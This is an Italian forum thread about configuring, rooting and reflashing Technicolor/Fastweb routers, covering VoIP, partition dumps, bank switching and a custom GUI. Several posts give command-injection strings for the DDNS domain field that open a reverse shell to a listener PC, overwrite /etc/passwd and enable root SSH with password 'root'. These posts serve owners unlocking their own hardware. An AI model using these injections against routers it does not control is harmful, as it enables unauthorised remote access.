option release '1'
option neighreachabletime '1200000'
option neighgcstaletime '2400'
option ipv6 '1'
config device 'waneth4'
option enabled '1'
option type '8021q'
option name 'waneth4'
option vid '835'
option ipv6 '1'
config device 'wanptm0'
option enabled '1'
option type '8021q'
option name 'wanptm0'
option vid '835'
option ipv6 '1'
option ifname 'ptm0'
-
Le configurazioni sono uguali.
Il problema potrebbe essere il wansensing non disabilitato
config wansensing 'global'
option initmode 'L2Sense'
option l3type 'L3Sense'
option tracelevel '3'
option l2type 'ETH'
option enable '0'
list pppoerelay 'ptm0.835'Puoi fare la prova usando solo questo router senza nessun altro dispositivo a valle e vedere cosa alza e come si comporta?
-
ho fatto un paio di ripristini di fabbrica, rifatto root, reinstallata la gui, configurato PPPoE di wind e disattivato il wansensing.
Adesso sembra che vada anche dopo i riavvii, in più mi da anche Ipv6 connesso a differenza di prima
Devo solo provare il voip col telefono,speriamo bene
-
Figuriamoci se il telefono funzionava....avete idea di come impostare il voip?la telefonia è abilitata ma non so se e quali configurazioni inerire.
Il mio gestore è Windtre
-
https://www.ilpuntotecnico.com/forum/index.php/topic,82882.msg263545.html#msg263545
Guarda la tabella in fondo.
-
appena rientro provo quella configurazione...grazie davvero di cuore e speriamo funzioni
allo stato attuale quando provano a chiamarmi a casa risponde il messaggio della vodafone O_O
-
Aggiornamento:
Ho inserito i dati dello schema al primo post, di quelli forniti da wind ho utilizzato solo la password.
Non va.
Ho però notato una cosa,quando configuro il Tab generali,nell'ultima opzione non mi da possibilità di scegliere l'interfaccia WAN,infatti se clicco sul menu a tendina è vuoto, senza alcuna opzione.Potrebbe essere quello il problema?
-
Controlla se è presente in /etc/config/mmpbxrvsipnet nella sezione config network
option interface 'wan'Comunque segnala il bug qui:
https://www.ilpuntotecnico.com/forum/index.php/topic,81461.0.html
-
rifatto,per l'ennesima volta , la configurazione, viene registrata la linea...tutto ok
il problema ora è che funzionano solo le chiamate in entrata....
EDIT: con altri parametri rispetto a quelli suggeriti nel post di cui sopra, ho risolto,ora vanno le chiamate in entrata e in uscita:
link alla guida, se infrange qualche regola rimuovetelo pure https://www.ilpuntotecnico.com/dga4132-configurazione-con-fibra-infostrada/
-
@FrancYescO C'è da inserire anche infostrada al tuo post.
Se mi avessi detto infostrada ti avrei dato quel link, comunque bene che ti funzioni tutto. Facci sapere se incontri problemi con le telefonate di wind3 e ILIAD.
-
Buonasera, riprendo questo post:
Fortunatamente sono riuscita a configurare tutto e adesso sta funzionando in modo stabile, ho notato però una certa lentezza nella connessione , soprattutto quando è in condizioni di stress ( smart working attivo insieme a streaming e download ecc...), ciò mi è confermato anche dai test di velocità, con max 40 mb attuali in download contro gli 80 precedenti...quindi vi chiedo se ci sono impostazioni da attivare o accorgimenti per aumentare la velocità (ad es. impostare il VLAN su dot in luogo dell'altra opzione)
-
Ciao,
sono nuovo in questo momento ho diversi Technicolor a casa.
Del TG789vac Xtream 35B di cui sto cercando una guida per lo sblocco e modifica (penso parta da pagina 20 di questo topic) ho attualmente un fw 16.3? Devo backupparlo? Interessa a qualcuno? fino ho visto in giro parlare sempre di 16.2.
Indirizzatemi nel caso su quale possa essere il modo più utile di farlo.
Cya
-
Fino alla 16.2 si sbloccava con AFG
https://www.ilpuntotecnico.com/forum/index.php/topic,78382.msg260806.html#msg260806
Il link è riferito allo sblocco della versione MOS per la IAD cambia la password, la stessa per entrare nella gui.
Puoi dirci l'esatta versione del firmware?.
-
16.3 sullo Xtream? riesci a postare il nome completo del firmware? tipo: 16.2.8706_FW_214_IAD
-
Certamente!...se mi dite dove reperirlo...io nella dashboard vedo solo 16.3Aqua
-
Lo trovi dentro la pagina Gateway (la prima casella) accanto a Versione Firmware
-
Ciao. Scusate i miei tempi. Ho casini a lavoro e mi sto occupando di una persona che ha appena subito un intervento
Ad ogni modo
Product Vendor
Technicolor
Product Name
MediaAccess TG789vac Xtream 35b
Software Version
16.3
Firmware Version
16.3.7446-2921002-20170210093618
Firmware OID
589d7b8237ff23b76d3826b8
Bootloader Version
15.50.1005-0000000-20151209073757-4fd17452ef9fdf09e9f981340e5d6b3f85fe6c5a
Bootloader OID
unofficialbuildOID0000
-
Molto interessante, comunque se vuoi provare un modo veloce senza neanche usare AFG, inserisci questa stringa come service DDNS (Sulla Piastrella servizi DDNS)
;sed -i 's#root:/bin/false#root:/bin/ash#' /etc/passwd;uci set dropbear.@dropbear[0].PasswordAuth='on';uci set dropbear.@dropbear[0].Interface='lan';uci set dropbear.@dropbear[0].RootPasswordAuth='on';uci set dropbear.@dropbear[0].RootLogin='1';uci set dropbear.@dropbear[0].enable='1';uci set system.[member=77439]coredump[/member][0].reboot='0';sed -i 's/#//' /etc/inittab;uci commit;/etc/init.d/dropbear restart
Attiva il DDNS e salva le modifiche, dopo prova ad accedere via SSH e dovrebbe funzionare
-
Ma è fastweb? Quando ci sarai entrato (prova come ha detto lorenzo, altrimenti vai con AFG su profili Generic) dovrai:
- dumpare la partizione eripv2 ed estrarre i vari tag e le chiavi OSIK/OSCK e condividerle
- dumpare le partizioni dei firmware bank_1 e bank_2 e condividerle
Trovi le istruzioni per tutte queste operazioni a questi due link:
https://hack-technicolor.readthedocs.io/en/latest/Resources/#making-dumps
https://github.com/pedro-n-rocha/secr
Dai dati in eripv2 c'è da capire se stiamo parlando di una VBNT-F o altro
-
Il bootloader è giusto.
-
Rispondo come meglio posso...abbiate pazienza per me è nuovo.
@lorenzocanalelc non ho idea di dove inserire la stringa...DDNS attivo, ma mi aspettavo di avere la possibilità di scegliere qualcosa dal menù dei servizi tipo CUSTOM o GENERIC e poi inserire la stringa, ma non lo trovo. Ho provato ad inserire la stringa nel domain e salvare ma Per ora via SSH mi chiede le credenziali ma mi nega l'accesso
@LuKePicci Non è fastweb mi risulta, il prodotto non è marchiato. Era in inglese e penso avesse i parametri per Telsra, mettendolo in ita ho visto che puntava all ACS (di cui non ho ben capito ancora cosa sia) di telecomitalia....ergo lo sto usando con una ADSL2 di TIM
è un VBNT-F
-
https://i.imgur.com/RK7VLqp.png
Se hai netcat
Da terminale
nc -lvvn 1337
In domain inserisci
www.ooo.com; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet IP-DEL-PC 1337 >/tmp/f &Ti dovrebbe apparire la shell sul terminale
-
Prova ad entrare in ssh con utente "engineer" e usa come password la access key che vedi sull'etichetta sotto il router.
-
Se il servizio DNS scelto è irrilevante (non è presente DYN.com) allora direi che non funge. Nemmeno come engineer
-
Secondo me ha preso il comando ma la password di root non è root.
Inserisci anche questo codice sempre nello stesso posto e riprova
;uci set dropbear.@dropbear[0].PasswordAuth='on';uci set dropbear.@dropbear[0].RootPasswordAuth='on';uci set dropbear.@dropbear[0].enable='1';uci commit;echo -e "root\nroot" | passwd;/etc/init.d/dropbear restart
-
niente ne come admin ne come engineer
aggiungo che AFG sembra aver rootato e ho accesso SSH
BusyBox v1.23.2 (2016-12-21 02:03:31 UTC) built-in shell (ash)
_______ __ __ __
|_ _|.-----.----.| |--.-----.|__|.----.-----.| |.-----.----.
| | | -__| __|| | || || __| _ || || _ | _|
|___| |_____|____||__|__|__|__||__||____|_____||__||_____|__|
N E X T G E N E R A T I O N G A T E W A Y
--------------------------------------------------------------------
NG GATEWAY SIGNATURE DRINK
--------------------------------------------------------------------
* 1 oz Vodka Pour all ingredients into mixing
* 1 oz Triple Sec tin with ice, strain into glass.
* 1 oz Orange juice
--------------------------------------------------------------------
Product: vbnt-f
Release: Aqua (16.3)
Version: 16.3.7446-2921002-20170210093618-fbf27c13310612f6d38e605ed532e895da594af2
Hash config: fbf27c13310612f6d38e605ed532e895da594af2
Hash openwrt: 087b4b8c2d5342b346622213b03664593e11d6ce
Hash kernel: 88eba8d98482a41a407ab7bceb1a64f04dc0eb03
Hash packages: 5cf55b5e7a5bde79d5de52973ae5321b3a256b67
Hash technicolor: ea94a55f26592663a851202fac56bf30729cdec2
Hash routing: 7b853f235ce96cd14f3abaebf9253c5ca7f72f7d
Hash lte: 3df0f5161445b2f1e91fb19614c9a345885bc444
Hash custo: e81cae6bcaec58b6706fa643f7694cb00f654227
Hash mindspeed: 91b6a7a4d703268d6023c3a58da3d33fc62e7ed8
Bootloader: 15.50.1005-0000000-20151209073757-4fd17452ef9fdf09e9f981340e5d6b3f85fe6c5a
root@OpenWrt:~#
-
Ottimo, procedi con i dump che ti ho indicato
-
Ma è un no-brand.
-
è una domanda?
Cmq sto dumpando, ma ho perso tempo perchè ho fatto crashare l'apparato perchè per leggere la parte delle chiavi mi sono dimenticato di muovere il primo dump prima di fare il successivo. :noob:
-
Anche, perché fasweb personalizza anche il banner
Product: vbnt-f_fastweb
-
ho finito i dump dei due Bank e della eripv2.... atteso ovviamente che la shell finisse....estraggo la chiavetta e vedo un mtd3 (bank1) plausibile di circa 40MB, un MTD4 (bank2) da 0b, e non vedo un mtd5 (eripv2).... accade spesso? rifaccio
-
Ma non hai questa situazione:
root@OpenWrt:~# cat /proc/mtd
dev: size erasesize name
mtd0: 08000000 00020000 "brcmnand.0"
mtd1: 02c60000 00020000 "rootfs"
mtd2: 01f20000 00020000 "rootfs_data"
mtd3: 02e60000 00020000 "bank_1"
mtd4: 02e60000 00020000 "bank_2"
mtd5: 00020000 00020000 "eripv2"
mtd6: 00040000 00020000 "rawstorage"
root@OpenWrt:~#
La mtd4 potrebbe essere vuota, senza firmware.
-
corretto
root@OpenWrt:~# cat /proc/mtd
dev: size erasesize name
mtd0: 08000000 00020000 "brcmnand.0"
mtd1: 02c60000 00020000 "rootfs"
mtd2: 01f20000 00020000 "rootfs_data"
mtd3: 02e60000 00020000 "bank_1"
mtd4: 02e60000 00020000 "bank_2"
mtd5: 00020000 00020000 "eripv2"
mtd6: 00040000 00020000 "rawstorage"
io vedo che per sia per mtd3 che per mtd4 impiega lo stesso tempo e da
94976+0 records in
94976+0 records out
pensavo fossero gemelle come partition e che una fosse il failsafe dell'altra
EDIT2
ho i dump mtd3e mtd4 e occupano entrambi 47.488KB, mentre MTD5 (eripv2) è a 0byte ....rifaccio il 5 o è plausibile perchè di dimensione infima?
-
48627712 Dec 10 21:53 mtdX.dump
131072 Dec 10 21:58 mtd5.dump
-
Domande:
credo di avere tutti i dump ho rifatto quello della mtd5 con un altra estensione perchè qua era indicato https://github.com/pedro-n-rocha/secr
e ora lui *.dd è da 0b mentre il precedente mtd5.dump è da 128KB. .... anyway
come vi passo i dump?
Poi ho la ec key ma non ho al momento una macchina istruita con Python per fare il descrambling....
Se vi passo i dump e un blocco note con l'output della shell con la EC KEY? Oppure nel weekend o domani dovrei avere più tempo...Ora sono un pò a pezzi, sono giorni che faccio le notti....
-
Per quanto mi riguarda è + che OK. Uppali dove vuoi e mandaci il link.
-
eccoci...preso un servizio a caso....
https://gofile.io/d/7yJPTA
spero che questo mantenga visto che dice "⚠️ This upload will remain accessible as long as it is regularly downloaded"
-
Tajut di blanc o di neri?
-
:D camomille cumò :P
-
L'acs è di TIM O.o
-
TIM San Marino però. Comunque interessante, ho flashato il dump sul mio Xtream, l'username default è admin e la password è l'access code. Ho installato con successo la GUI dev (durante il /etc/init.d/rootdevice debug ho avuto meno errori del solito con la 16.2) e dopo il primo riavvio ho tutto perfettamente funzionante con Modoverlay montato. Unica cosa che ho notato fin ora wget non funziona si lamenta di una lib mancante
wget: can't load library 'libpcre.so.0'Opkg si è auto configurato con questi 789vacv2_opkg/xtream35b che credo non vada bene con il nuovo firmware che si basa su Chaos Charmer no?
-
direi di no... con un 16.3 dovrebbe conquistare tutti i pacchetti dei DGA kernel 3.4
ma l'interfaccia è personalizzata?
-
L'interfaccia originale era completamente No-Brand ma con l'immagine gateway sbagliata (Sembra un TG1100 quello nero)
EDIT: Confermo i pacchetti del DGA 16.3 funzionano perfettamente, quindi si deve configurare lo specific della GUI per questo firmware dell'Xtream
-
Grazie @TheBo , ci voleva proprio
La bank_2 è vuota, questo device non ha mai ricevuto un update firmware dal gestore.
L'eripv2 non l'ho estratto ma vedo che siete saltati direttamente al flash del firmware quindi desumo le chiavi corrispondano a quelle del vbnt-f di fastweb. Conservati sia la mtd5 dumpata che la ECKey, magari ti torneranno utili in futuro.
AutoFlashGUI ha funzionato quindi questo firmware funziona con strategia di root #A
SSH è effettivamente attivo di default, l'utente si chiama "technician", la password è la access key. La shell è ovviamente clash, cioè quella ristretta, per cui segnerei questo firmware compatibile anche con la strategia #D
Il wansensing è curiosamente disabilitato. Ci sono configurate due interfacce dhcp, wan su ptm0 (no vlan) e mgmt su vlan 836. In teoria dovrebbe funzionare anche tch-exploit su strategia #C, a meno che non ci sia qualche regola di firewall che vincola l'acs sulla mgmt
L'acs lì preimpostato è un http semplice in chiaro, non è detto che magari poi ne prenda uno diverso quando connesso a linee di quel gestore. Ad ogni modo mi risulta inaccessibile fuori dalla loro rete. Se qualcuno è un loro abbonato di San Marino e vuole provare a vedere che si dicono può farlo, magari salta fuori un firmware più aggiornato.
-
Ok i repo ma sarebbe da equiparare l'installazione al dga non solo per wget ma anche per le app.
P.S. Per LUCI stesso problema del dga4131 con i repo vecchi
BAD GATEWAY
Per risolvere
opkg install --force-reinstall --force-overwrite libuci-lua
sed -i 's/require "uci_luci"/require "uci"/g' /usr/lib/lua/luci/model/uci.lua
Per la rimozione dopo averlo disinstallato:
cp /rom/usr/lib/lua/uci.so /usr/lib/lua/
-
Ad ora il fatto è che per il fix di wget e le app vengono fatti un ammasso di if che si basano sul nome del modello ed è ovviamente un casino assurdo che come si è dimostrato si regge con lo sputo, prevedevo di limitare i check come ho fatto ora per i feed a due cose: versione software (quella technicolor, all'inizio pensavo al kernel ma non noteremo la differenza tra un 16.1/2 e un 16.3 che invece è sostanziale) e tipo di CPU (ad ora sarebbe se è ARM o MIPS)
il bug sul 4131 si verificava con i firmware 17? perchè almeno quello lo ho se volessi far qualche prova ma mi parte solo con il 18...
-
Immagino, ma oltre il problema di saliva è che mi diverto a far impazzire le persone.
Per il 4131 è riferito ai firmware ante 18 i repo vecchi di roleo/BoLaMN per intenderci.
-
Mi sono ricordato di avere i superpoteri e ho spostato gli ultimi messaggi in un thread dedicato
https://www.ilpuntotecnico.com/forum/index.php/topic,84393.msg270222/topicseen.html#new
-
https://www.ilpuntotecnico.com/forum/index.php/topic,81461.msg270226.html#msg270226
-
Piccolo O.T. ma non troppo.
I file del firmware /etc/board cosa rappresentano? Perché ho notato che per esempio nei firmware dell'Xtream il file env si trova su /etc/board/VBNT-F/config/etc/config/
E ho visto per caso che la cartella /etc/board/VBNT-F esiste nell'ultimissimo firmware del DGA AGTHP_2.2.3_003_CLOSED. Questo significa che probabilmente quel firmware funzionerebbe anche sul Xtream se si potesse flashare? E ovviamente immagino che flashando il dump non si avvierebbe per qualche check, o sbaglio?
-
domanda in topic, con i dump che vi ho inviato voi siete a posto?
Perchè in questo momento ho il modem che non è affatto contento e non lo raggiungo nemmeno da eth e il led principale lampeggia di arancione... O:-) ho solo provato a flashare la GUI attraverso la procedura online ed effettivamente tutto è andato bene, meglio che sul TG799 dove mi ha dato un errore ma al riavvio tutto era a posto (anche se dopo aver modificato SNR e tentato di rimettere tutto a default non negozia più la connessione PPP .. lol)
-
Io personalmente ho flashato il dump, eseguito un reset completo ed installato la GUI e non ho notato nessuna instabilità, ma avevo installato qualche versione fa (9.6.28), non vorrei che le ultime modifiche abbiano fatto qualcosa, proverò domani.
Il tuo @TheBo mi sa che è andato in BootIP, magari da una situazione non Default la migrazione ha perso tempo e creato questo problema (Lo abbiamo visto spesso in passato su questo dispositivo purtroppo). Devi flasharare l'RBI di un firmware Fastweb da TFTP e dopo aggiornare usando il tuo dump
-
ok, posso cercare ... ma come mi interfaccio con la macchina se non riesco a dialogarci?
-
https://hack-technicolor.readthedocs.io/en/stable/Recovery/#bootp-flashing
-
grazie, era la guida che stavo seguendo, ma non avevo visto che forse dovrei usare il metodo sotto quello TFTP... comincio T_T ovviamente ora dovrò flashare un fw 16.2 non avendo rbi del 16.3, giusto?
-
Esatto, a volte quando se si tenta di cambiare l'SNR o i driver succede che si impalla. Tiene presente che la 16.3 si porta dietro una configurazione in /etc/config/network che andrebbe prima ripulita dei vari ptm0 sullo switch o mgmt, e una leggera modifica di /etc/config/xtm lasciando solo atmwan.
config ptmdevice 'ptm0'
option priority 'low'
config atmdevice 'atmwan'
option ulp 'eth'
option vpi '8'
option vci '35'
option path 'fast'
option enc 'llc'
Considera che sono con la wan/eth4 eppure mi alza anche questi
ptm0 Link encap:Ethernet HWaddr E0:B9:E5:5A:C7:10
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
ptm0_mgmt Link encap:Ethernet HWaddr E0:B9:E5:5A:C7:10
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
Questa dovrebbe essere una configurazione di base corretta:
https://termbin.com/ajkn
Comunque prima prova con il reset: a router completamente avviato, pigia il tasto reset x + di 7 secondi e rilascialo. Se non funziona ripeti fino a quando non si riavvia.
-
significa che probabilmente quel firmware funzionerebbe anche sul Xtream se si potesse flashare? E ovviamente immagino che flashando il dump non si avvierebbe per qualche check, o sbaglio?
Sicuramente anche ipotizzando non ci fosse un bootloader che controlla la firma del bank avviandosi si andrà ad incappare in qualche altro problema, technicolor cerca di tenere una codebase unica per tutti i dispositivi ma poi ci sono punti in cui i progetti vengono forkati e modificati a tal punto da includere cose che rendono il firmware inutilizzabile rispetto ai modelli per cui è stato personalizzato (ad esempio basta in quel caso un check su interfaccia sfp)
Magari si riesce anche a fixare il punto è che non possiamo avviare roba non firmata.
-
Chiarissimo
-
@MisterFTTH avevo letto la netiquette, ma tra il timore cercare di non riesumare post morti e non aprirne di nuovi per argomenti già trattati credo di aver istintivamente creduto meno grave sconfinare negli OT. Anyway Thnx ne prendo atto
Riguardo al VBNT-F i need some guidance maybe.
Appurato che ho perso il fw 16.3 per cercare di mettere la gui moddata andando in BootP. Ho ripristinato via TFTP una versione di 16.1.6637 (scaricando il torrent per 16.2.8706_FW_214_IAD ) . E' possibile ripristinare la 16.3 immagino flashando direttamente il bank, dal bank si può estrapolare un RBI?
I fw fastweb non permettono di settare parametri per altri vendor corretto? (non vedo possibilità di fare modifiche) Ma mettendoci sopra la GUI dovrei riuscirci, giusto?
Non potendo navigare con tale modem ho proceduto ad installare la GUI manualmente via WinSCP, sia con la dev che la std ottengo che dopo essermi loggato nel gateway a fine procedura ho la web interface vuota.
Ho già rifatto tutto da zero circa una decina di volte reinstallando e cambiando firmware , poi rootandolo e installando la gui...nisba. Ho dato una letta a pagine di documentazioni e anche ai thread delle issues su GItHub, ma senza fortuna...... any hint?
-
Tutti i firmware sono moddabili una volta sbloccati, da linea di comando o modificando i file di configurazione. La gui è nata per ovviare a tutto questo. Perché le gui sono volutamente castrate dai provider.
Per installare la gui parti da un 16.2.8706_FW_214 minimo, in quanto per questo modello è stata costruita su questa versione del firm. I firm più vecchi avevano ancora più problemi.
Per quanto riguarda l' RBI, magari.
-
@larsen64it intanto grazie anche per l'altro consiglio
purtroppo non trovo da nessuna parte 16.2.8706_FW_214 perchè sul repo qui ho cercato in tutte le folder e non c'è e nemmeno su https://hack-technicolor.readthedocs.io/en/stable/Repository/#tg789vac-xtream-35b-vbnt-f il file non corrisponde. Se poteste indicarmi da dove prenderlo sarebbe fantastico.
Parto sempre da un firmware appena installato, lo rooto e poi metto la gui, purtroppo la trovo blank, non so se è per qualche dipendenza che non risolve non avendo accesso ad una connessione. Ad ogni modo ho pensato di utilizzare la WAN e fargli fare il processo di mod da lì forse
EDIT. anche installando via WAN, la gui è blank , le ultime righe del processo di installazione sono
Root Script: Checking installation prerequisites, if needed installation will continue after reboot...
Root Script: Installing in progress...
./setup.sh: line 15: logger_command: not found
Installing wget (1.17.1-1) to root...
Configuring wget.
mv: can't rename '/tmp/scripthelpers.lua': No such file or directory
/etc/rc.common: /etc/modgui_scripts/04_config.sh: line 614: /etc/init.d/mobiled: Permission denied
Root Script: Detected low flash space device...
start-stop-daemon: warning: killing process 15662: No such process
-
nell'ultima versione della wiki ci sono i link giusti https://hack-technicolor.readthedocs.io/en/latest/Repository/#tg789vac-xtream-35b-vbnt-f
o comunque qui un mirror https://repository.ilpuntotecnico.com/files/Ansuel/FASTWEB/TG789vacXtream/
le versioni < 16.2.8706 hanno quel difetto, quindi aggiorna, ma comunque è consigliato che tu metta il firmware più aggiornato quindi utilizza il 16.3 che hai tu stesso fornito
la GUI installa la versione dev, se hai ulteriori problemi con quest'ultima, vai nel topic adatto https://www.ilpuntotecnico.com/forum/index.php/topic,81461.0.html
-
Ciao a tutti, una curiosità: qualcuno mi sa dire che modello è quello in queste foto?
https://photos.app.goo.gl/2Kmao5jzkLDq6EU38
Cercando su internet lo vedo chiamare sia TG789vac Xtream 35b che TG789vac v2 / VANT-6 cosi ho provato a flashare i firmware di entrambi (da pazzo ignorante che sono).
Tuttavia il mio folle gesto modemicida non mi ha portato a niente: ogni volta che flasho un firmware con TFTPD32 il suddetto firmware "non si flasha".
Con questi firmware, TFTPD trasferisce fino al 100%, il modem si riavvia e ritorno alla schermata del firmware originale fastweb
=> vant-6_16.3.7637-ver2.2.1-CRF695-2721005
=> vant-6_16.3.7636-2921002-20170419153951-718b590506a915e24be58946f4755c0c617d9c8d.rbi
=> MST.TG789vac.v2-17.2.278-0901008.rbi
Con questi firmware, TFTPD sclera e mi mostra trasferimenti multipli che partono e si interrompono all'infinito, costringendomi a spegnere il modem che, una volta accesso, mi mostra la solita schermata fastweb
=>16.2.8706_FW_214_IAD_TG789vacXtream.rbi
=> 16.2.8706_FW_214_MOS_TG789vacXtream.rbi
Mi aiutate a capire dove sbaglio? Grazie
-
Il tuo è un VANT-6, su bank_2 (Il flash va a buon fine ma il dispostivo in questo momento carica il firmware su un’altra parte di mermoria) segui questo schema e chiedi in quel post https://www.ilpuntotecnico.com/forum/index.php/topic,77981.msg254354.html#msg254354
In teoria ti potrebbe anche soltanto bastare il failboot forzato (guarda qua: https://www.ilpuntotecnico.com/forum/index.php/topic,77981.msg238225.html#msg238225)
-
Buonasera a tutti ...
Ho ereditato questo router ma non riesco ad usarlo ... ovvero credo sia per i clienti business e abbia un firmware custom.
Il router risponde solo sulla porta Wan all'ip 192.168.1.254 e chiede utente e password che non conosco.
Stò provando mandarlo in bootp e a passargli il firmware 16.2.8706_FW_214_MOS_TG789vacXtream.rbi ma non cambia nulla , parte sempre sulla bank2 con il firmware di prima.
C'è un altro modo per forzarlo a cambiare bank ?
Il metodo appena consigliato sopra a me non ha portato a nessun risultato.
Tecnicolor Gateway
(c) 2015, All rigts reserved
Gateway initialization sequence started
Boot Loader Version : 15.50.1005-0000000-20151209073757-4fd17452ef9fdf09e9f981340e5d6b3f85fe6c5a
Boot Loader OID : unofficialbuildOID0000
CPU : BCM63138B0
RAM : 256MB
Flas : 125MB NAND
Board Mnemonic : VBNT-F
Market ID : FFFC
*** Press b to enter BOOT-P ***
Booting : Bank 2
SW Version : 16.1.6849-2081003-20170302163937-4aec6f173b2ebf0c34ea39da71c3b8c6bc124f50
Starting te Linux kernel
-
Diciamo che nel tuo caso non funziona come con il tg789vac v2, fare il failboot è più difficile con i firmware nuovi questa è una delle guide che ho trovato
1. Accendere il modem e appena la spia arancio si accende iniziare velocemente a premere il tasto ON/OFF in modo che non venga tolta proprio del tutto corrente, mentre lo fate se mentalmente dite tic-tac-tic-tac è il ritmo giusto, ad ogni tic spegnete e al tac riaccendete (sembra stupido ma è per dare l’idea);
3. Il modem a un certo punto spegnerà la lucetta arancio come per andare in fail boot, ovvero avvio fallito.
4. Rifate il punto 1 una seconda volta e poi una terza.
5. A questo punto accendete e provate a lasciarlo accendere e dovrebbe partire.
Io personalmente ho avuto difficolta ad usare questo metodo ma è l'unico facile per fare il failboot.
Qua trovi tutti i metodi documentati per il failboot https://hack-technicolor.readthedocs.io/en/stable/Recovery/#bootfail-procedure
-
Prova e riprova aggiornamenti di firmware , root , gui mi ritrovo in questa condizione :
All'avvio in seriale vedo :
Technicolor Gateway
(c) 2015, All rights reserved
Gateway initialization sequence started
Boot Loader Version : 15.50.1005-0000000-20151209073757-4fd17452ef9fdf09e9f981340e5d6b3f85fe6c5a
Boot Loader OID : unofficialbuildOID0000
CPU : BCM63138B0
RAM : 256MB
Flash : 125MB NAND
Board Mnemonic : VBNT-F
Market ID : FFFC
*** Press b to enter BOOT-P ***
Booting : Bank 1
No valid SW detected----
Si riavvia tre volte e parte dal bank2 e mi ritrovo con :
Versione software
16.2.8706-3401002-20190430095635
e gui di Ansuel .
Ma è normale ?
Ho provato anche al primo riavvio a riflashare 16.2.8706_FW_214_MOS_TG789vacXtream.rbi il flash va a buon fine , parte da bank1 con logo Fastweb.
Root , gui , si riavvia e rivà in loop No valid SW detected e torna a partire dalla bank2
Nelle ultime righe del log leggo :
Resetting password to root...
New password detected!
Storing encrypted password...
New password detected!
Storing encrypted password...
OBP sanity check FAILED start autoplanning...
Cloning to bank_2 and checking checksum...
Cloning complete, moving to bank_2 overlay...
Seems first install from bank_1 saving GUI to root and setting install flags...
Moving /overlay/bank_1 to /overlay/bank_2...
Activating and erasing bank_1...
Installation will continue after reboot...
L'ultima riga "Activating and erasing bank_1..." ??
-
Sembra tutto ok. Con le ultime versioni della gui è stato introdotto l'auto bank planning. In pratica resta attiva la bank_1, ma in quanto vuota fallisce l'avvio 3 volte per poi passare e avviare la bank_2. Durante l'avvio della bank_2 viene montato lo spazio lasciato vuoto dalla bank_1 come overlay (modoverlay). Questo perché se ci sono problemi seri basta caricare il firmware con tftp per riavere il router funzionate e ricominciare da zero.
P.S. grazie a TheBo c'è la versione 16.3 ma essendo dump deve essere caricata con mtd.
-
Grazie per la spiegazione , pensavo appunto fosse una cosa voluta ..... ma meglio essere sicuri
Avevo visto e appunto scaricato i file della 16.3.
Ma non ho capito/avuto modo di studiare come si passano , essendo file dump.
Mica potresti indicarmi i comandi da eseguire , oppure un post dove posso leggerli ?
Grazie
-
Se ho ben capito ora ti trovi in bank_2 con la gui installata. Io ricomincerei visto che sono 2 versioni di firmware abbastanza diverse:
da ssh
mtd erase -r rootfs_data ## cancella tutta la configurazione e gui
Al ravvio sei ancora in bank_2 > sblocco
Carica il file dump in /tmp
da ssh
mtd write /tmp/file_dump bank_1 ## questo carica il firmware in bank_1
mtd erase -r rootfs_data ## come sopra ma avendo caricato il firmware in bank_1 (che è attiva) al ravvio sarai in bank_1
sblocco sempre con AFG, ma avendo cura di spuntare "Dividi il comando con punto ....." in quando non accetta comandi lunghi utente: admin pass: l'access key dell'etichetta del router.
Installa la gui.dev che su occuperà di fare tutto in automatico.
-
Grazie , più tardi provo .
Per lo sblocco io ho usato le istruzioni al post 8 con netcat , non funziona più questo metodo ?
Usando AFG devo eventualmente selezionare un modello di router particolare ?
P.S : i file mtd3.dump o mtd4.dump sono uguali ? è indifferente quali dei due uso ?
-
devi usare mtd3
farlo con AFG velocizza quello che faresti con nc
-
Comunque a me che non funziona AFG nel mio Mac (Solo per questo mi ostino ad usare metodi alternativi), hanno funzionato le due stringhe che avevo suggerito sul 16.3 mettendole in sequenza su DDNS
;uci set dropbear.@dropbear[0].PasswordAuth='on';uci set dropbear.@dropbear[0].RootPasswordAuth='on';uci set dropbear.@dropbear[0].enable='1';uci commit;echo -e "root\nroot" | passwd;/etc/init.d/dropbear restart
;sed -i 's#root:/bin/false#root:/bin/ash#' /etc/passwd;uci set dropbear.@dropbear[0].PasswordAuth='on';uci set dropbear.@dropbear[0].Interface='lan';uci set dropbear.@dropbear[0].RootPasswordAuth='on';uci set dropbear.@dropbear[0].RootLogin='1';uci set dropbear.@dropbear[0].enable='1';uci set system.[member=77439]coredump[/member][0].reboot='0';sed -i 's/#//' /etc/inittab;uci commit;/etc/init.d/dropbear restart
-
La versione 16.3 non accetta comandi lunghi per lo sblocco. Per usare netcat:
da terminale
nc -lvvn 1337
da gui prite pagina “Servizi WAN”, andate nella nella sezione DDNS e inserite questa stringa nel campo “Dominio”:
www.ooo.com; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet IP-PC1337 >/tmp/f &Attivate il servizio DynDNS e infine salvate
su nc apparirà il simbolo della shell "#"
incollare
sed -i 's#root:/bin/false#root:/bin/ash#' /etc/passwd;uci set dropbear.@dropbear[0].PasswordAuth='on';uci set dropbear.@dropbear[0].Interface='lan';uci set dropbear.@dropbear[0].RootPasswordAuth='on';uci set dropbear.@dropbear[0].RootLogin='1';uci set dropbear.@dropbear[0].enable='1';uci set system.@coredump[0].reboot='0';sed -i 's/#//' /etc/inittab;uci commit;/etc/init.d/dropbear restart
https://termbin.com/p7m8
INVIO
-
Comunque a me che non funziona AFG nel mio Mac (Solo per questo mi ostino ad usare metodi alternativi)
https://github.com/mswhirl/autoflashgui/issues/39
-
Se ho ben capito
(...)
Mi sembra vada in errore la copia dei file come se non ci fosse lo spazio necessario ...
Che guardando mi tornerebbe :
Filesystem Size Used Available Use% Mounted on
rootfs 31.1M 1.3M 29.8M 4% /
/dev/root 22.0M 22.0M 0 100% /rom
/dev/mtdblock2 31.1M 1.3M 29.8M 4% /overlay
overlayfs:/overlay/bank_2
31.1M 1.3M 29.8M 4% /
Il file mtd3.dump è 48 mega
Ho provato a togliere tutti gli FF da un certo punto in poi , il file è diventato uploadabile , scritto sul bank1 , riavvio .... errore e riparte dal bank2
